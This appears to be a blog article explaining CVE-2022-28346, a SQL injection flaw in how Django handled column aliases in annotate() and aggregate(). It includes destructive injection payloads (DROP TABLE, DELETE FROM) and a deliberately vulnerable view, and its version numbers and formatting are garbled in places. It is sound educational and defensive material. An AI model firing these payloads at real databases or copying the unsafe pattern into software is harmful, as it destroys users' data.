Django, the famous Python web framework, is known for its robust protection against SQL injection. But in 2022, a serious vulnerability—CVE-2022-28346—was discovered that let attackers bypass these defenses through a surprising vector: Python’s **kwargs dictionary expansion.

In this exclusive long-read, we dig deep into what happened, how it works, and what it means for your code. We'll show practical exploit scenarios and how to stay safe. Whether you write Django apps or just want to understand the risk, read on!

Django 4. (before 4..4)

It’s about how QuerySet.annotate(), aggregate(), and extra() handle column aliases—those names you give to calculated values in query results. When using <b>kwargs (dictionary unpacking) to pass aliases, Django didn’t properly sanitize or validate the keys (the alias names).<br><br>This meant a carefully-crafted dictionary could inject raw SQL as an alias, leading to SQL Injection.<br><br>> Even if you used Django's ORM to avoid SQLi, you could be at risk!**

Let’s look at real Django code (simplified for clarity)

from django.db.models import Count

# Dangerous dictionary for aliasing
unsafe_alias = {'num_users; DROP TABLE auth_user;--': Count('user')}

queryset = MyModel.objects.annotate(**unsafe_alias)

If the data for the alias key comes from user input, attackers could inject their own SQL commands.

Django usually escapes column names, but this bug allowed malicious alias names to slip unsanitized right into the SQL.

Realistic Exploit Scenario

Consider user-defined reports or API endpoints that let the frontend choose columns and aggregation names.

# Suppose user submits alias via a web request:
user_alias = request.GET.get('alias', 'num_users')
aggregation = {user_alias: Count('user')}
# Unsafe:
queryset = MyModel.objects.annotate(**aggregation)

An attacker submits

alias = "foo; DELETE FROM accounts WHERE 1=1;--"

The generated SQL might become

SELECT ..., COUNT(user) AS foo; DELETE FROM accounts WHERE 1=1;-- FROM MyApp_mymodel ...

Depending on the database and settings, this could delete all records in accounts!

Here’s a minimal demo showing the vulnerability in code (for educational purposes only)

from django.db.models import Sum
from django.http import JsonResponse

def aggregate_view(request):
    # Eek! We trust user input
    alias = request.GET.get('alias', 'sum_price')
    qs = Product.objects.aggregate(**{alias: Sum('price')})
    return JsonResponse(qs)

Now, fetch

/aggregate_view/?alias=sum_price); DROP TABLE shop_product;--

The resulting SQL could execute the injected DROP TABLE statement!

Original References

This CVE was disclosed by the Django project itself in their release notes and security advisory. Here's where to read the official info:

- Django Security Release 2022-04-04: SQL Injection possibility in queryset column aliases
- GitHub Django PR fixing the issue
- CVE Details entry

How Did Django Fix It?

The patch added checks to ensure aliases in <b>kwargs only contain valid SQL identifier characters, rejecting any with spaces, semicolons, or other "funny" stuff.<br><br>Fixed code would now error out** if you tried to use a dangerous alias, blocking the injection.

Final Thoughts

CVE-2022-28346 is a perfect example of how complex frameworks can hide subtle but devastating risks. Even frameworks with a reputation for safety can have sharp edges, especially when mixing Python’s flexibility (**kwargs) with SQL.

Stay patched, review your code, and always be wary of expanding a dictionary with user input in anything resembling SQL code!

Stay Secure!

*Want more in-depth Django security insights? Check out the official Django security documentation.*

Timeline

Published on: 04/12/2022 05:15:00 UTC
Last modified on: 06/09/2022 19:15:00 UTC